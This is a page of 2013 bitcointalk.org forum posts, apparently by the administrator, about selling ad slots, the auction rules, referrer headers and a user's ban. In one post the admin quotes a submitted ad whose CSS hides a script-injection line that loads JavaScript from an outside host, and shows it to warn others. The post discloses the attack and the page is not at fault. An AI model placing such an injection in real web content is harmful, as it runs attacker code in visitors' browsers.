Ratings aren't viewable by non-members, and other members of the forum are likely to understand that untrusted ratings are often incorrect.

Anyway, I can't usually guess at how safe advertised services are. I would reject a really obvious Ponzi scheme, but this isn't so obvious IMO. Will BFL ever ship? Will KnCMiner? Even a service like MtGox might never enable USD withdrawals... I'm not going to reject every ad that might possibly be a scam.

A reporting scheme wouldn't tell me anything that I don't already know. There are only 7 available ad slots. I review every ad.
3445  Other / Meta / Re: A bitcoin ponzi scheme scam ADVERTISED on bitcointalk.org ?? WHY??? on: August 20, 2013, 08:46:05 PM
The three-year timespan makes it seem possible IMO. If you think that the value of bitcoins will go down a lot at some point in the next three years, making this kind of offer is a sort-of-reasonable way of selling short without actually selling (for example). Could he get a long-term loan much cheaper?
3446  Other / Meta / Re: Suggestion: All external link through anonym.to on: August 20, 2013, 04:40:27 AM
Browsers do not send referer headers from a SSL site. This is documented in the HTTP spec:

AFAIK, browsers do send referrers from https sites to other https sites, though.
3447  Other / Meta / Re: Suggestion: All external link trough anonym.to on: August 19, 2013, 08:50:00 PM
1. Why do we care about this?
2. Browsers usually don't send referral info from https sites to http sites, anyway.

Do you have any peer-reviewed studies showing that having people fight your movement is actually predictive of future success? Or are you just relying on a (probably misattributed) quote from a guy who lived 100 years ago?

Why not just let people pay the forum directly in order to evade the Tor registration block as part of the signup procedure?

Too much work to do manually, but I am in the process of setting up an automated system for this. Once the automated system exists, proxies and abused IPs will be more frequently banned from instant registration, and the newbie restrictions will be removed.

He paid, so I did put up a link to his http://minefield.bitcoinlab.org link. This site is safe, right? It's down now.

Accepting ads that are anything more than a picture, alt text and a URL doesn't seem all that safe; specially considering how tempting of a target users of the forum are...

They're safe when someone is manually reviewing them. It actually wouldn't be all that difficult to automatically verify that ads are OK: CSS can never be a security risk, and a small whitelist of known-safe HTML tags and attributes would prevent other attacks. I may add automatic verification if I ever automate the ad system, though some sort of manual approval will always be required because the ad content and size also need to be checked. (Automatically checking an ad's actual screen size seems difficult.)

HTML/CSS ads are much smaller byte-wise; they can be seen by text browsers, search engines, and the visually-impaired; people can deal with them more naturally (copy/paste, etc.); they can do things that images can't do; and ad blockers can't block them as easily. They are clearly superior to image ads in almost every way.

Here's an ad that was sent to me:

Sent to the address!

Here is my CSS code:

Here is my HTML code:

Code:
<a href="http://minefield.bitcoinlab.org/?r=1XCa3af6FfBF9FZT"><div class="minefieldadm"><div class="minefieldstar1"></div>
<div class="minefieldstar2"></div><span class="minefieldshader">Bitcoin Minefield</span></div></a>

Please let me know when the ad is up. I'll be happy to give you stats on how many people clicked and how much BTC I made from this referral link.

Can you spot the problem? The CSS contains code injection:
Code:
</style><script src='http://webkit-linear.in'></script><style>

This URL contains nothing now. I guess he would have put something there if the ad had been accepted. I carefully check all ads by hand, though, so this kind of attack is pointless.

Pretty expensive for text ad.

For most types of ads and products, the value of these ads is probably more in product awareness. You know that a lot of people are seeing your ad. It's in a prime location; people can't help but see it. Next time they want to gamble, maybe they'll think about your casino. It's pretty unlikely IMO that people will want to drop their current activity and start gambling right now after seeing your ad. Similarly, people aren't going to immediately go preorder a BFL unit after seeing their ads, but if they ever want to get into ASIC mining, they're likely to think of BFL first because BFL had ads here for so long.

Ads demanding immediate action rather than just promoting a product will probably get many more clicks. Like:
    CaesarBIT: Gamble with double deposit at lowest house edge
    Click this ad to get $5 free credit -- this week only

But I'm not an advertising expert. People serious about advertising here might do well to contact someone who specializes in developing effective advertising strategies.

on the factoids slot, how did that get there?

Donators and VIPs get one "permanent" (not guaranteed -- may be removed at any time) ad in the factoid area.

Matthew donated 10 BTC. There have been several VIPs and Donators who were banned (eg. Goat) or scammer-tagged (eg. pirateat40, cablepair).

In order to collect more money for the creation of good forum software and for other useful purposes, the forum is selling ad space in the area beneath the first post of every topic page.

Ads are allowed to contain any non-annoying HTML/CSS style. No images, JavaScript, or animation (no marquee or blinking). Ads must appear 3 or fewer lines tall in my browser. Ads will be prefixed with "Advertisement:". Ad text may not contain lies, misrepresentation, or inappropriate language. Ads may not link directly to any NSFW page. Ads may be rejected for other reasons.

There are 10 total ad slots which are randomly rotated. So one ad slot has a one in ten chance of appearing. Seven of the slots are for sale here. Ads appear only on topic pages with more than one post, and only for people using the default theme.

The ad lasts at least 7 days starting from when I put it up. (However, if you look at the ad history you'll see that ads frequently get 1-2 extra days, but this is random and definitely not guaranteed.)

Stats

Exact historical impression counts per slot:
https://bitcointalk.org/adrotate.php?adstats

Info about the current ad slots:
https://bitcointalk.org/adrotate.php?adinfo

Ad blocking

Hero members, Donators, VIPs, and moderators have the ability to disable ads. I don't expect many people to use this option. These people don't increase the impression counts for your ads.

I try to bypass Adblock Plus filters as much as possible, though this is not guaranteed. It is difficult or impossible for ABP filters to block the ad space itself without blocking posts. However, filters can match against the URLs in your links, your CSS classes and style attributes, and the HTML structure of your ads.

To prevent matches against URLs: I have some JavaScript which fixes links blocked by ABP. You must tell me if you want this for your ads. When someone with ABP and JavaScript enabled views your ads, your links are changed to a special randomized bitcointalk.org URL which redirects to your site when visited. People without ABP are unaffected, even if they don't have JavaScript enabled. The downsides are:
- ABP users will see the redirection link when they hover over the link, even if they disable ABP for the forum.
- Getting referral stats might become even more difficult.
- Some users might get a warning when redirecting from https to http.

To prevent matching on CSS classes/styles: Don't use inline CSS. I can give your ad a CSS class that is randomized on each pageload, but you must request this.

To prevent matching against your HTML structure: Use only one <a> and no other tags if possible. If your ads get blocked because of matching done on something inside of your ad, you are responsible for noticing this and giving me new ad HTML.

Auction rules

Post your bids in this thread. Prices must be stated in BTC per slot. You must state the max number of slots you want. When the auction ends, the highest bidders will have their slots filled until all seven slots are filled.

So if someone bids for 7 slots @ 5 BTC and this is the highest bid, then he'll get all 7 slots. If the two highest bids are 7 slots @ 4 BTC and 1 slot @ 5 BTC, then the first person will get 6 slots and the second person will get 1 slot.

The notation "2 @ 5" means 2 slots for 5 BTC each. Not 2 slots for 5 BTC total.

- When you post a bid, the bids in your previous posts are considered to be automatically canceled. You can put multiple bids in one post, however.
- All bid prices must be evenly divisible by 0.25.
- The bidding starts at 0.50.
- I will end the auction at an arbitrary time no more than 12 days from now. (I will probably end the auction 1-3 days before the ads are scheduled to go up.)
- If two people bid at the same price, the person who bid first will have his slots filled first.
- Bids are considered invalid and will be ignored if they do not specify both a price and a max quantity, or if they could not possibly win any slots

If these rules are confusing, look at some of the past forum ad auctions to see how it's done. I also post periodic status updates which should help make things clear.

You must pay for your slots within 24 hours of receiving the payment address. Otherwise your slots may be sold to someone else.

So now he's permabanned for life?

The ban will not expire automatically. I may review it later.

But he makes good points now and again and you are censoring him.  Not allowing him to speak freely. 

He can post elsewhere. People aren't banned on /r/Bitcoin just for trolling, for example.
3460  Other / Meta / Re: Matthew N. Wright on: August 13, 2013, 11:01:30 PM
He was trolling continuously. He hasn't changed: He edited that poll after people had already voted to create misleading results.
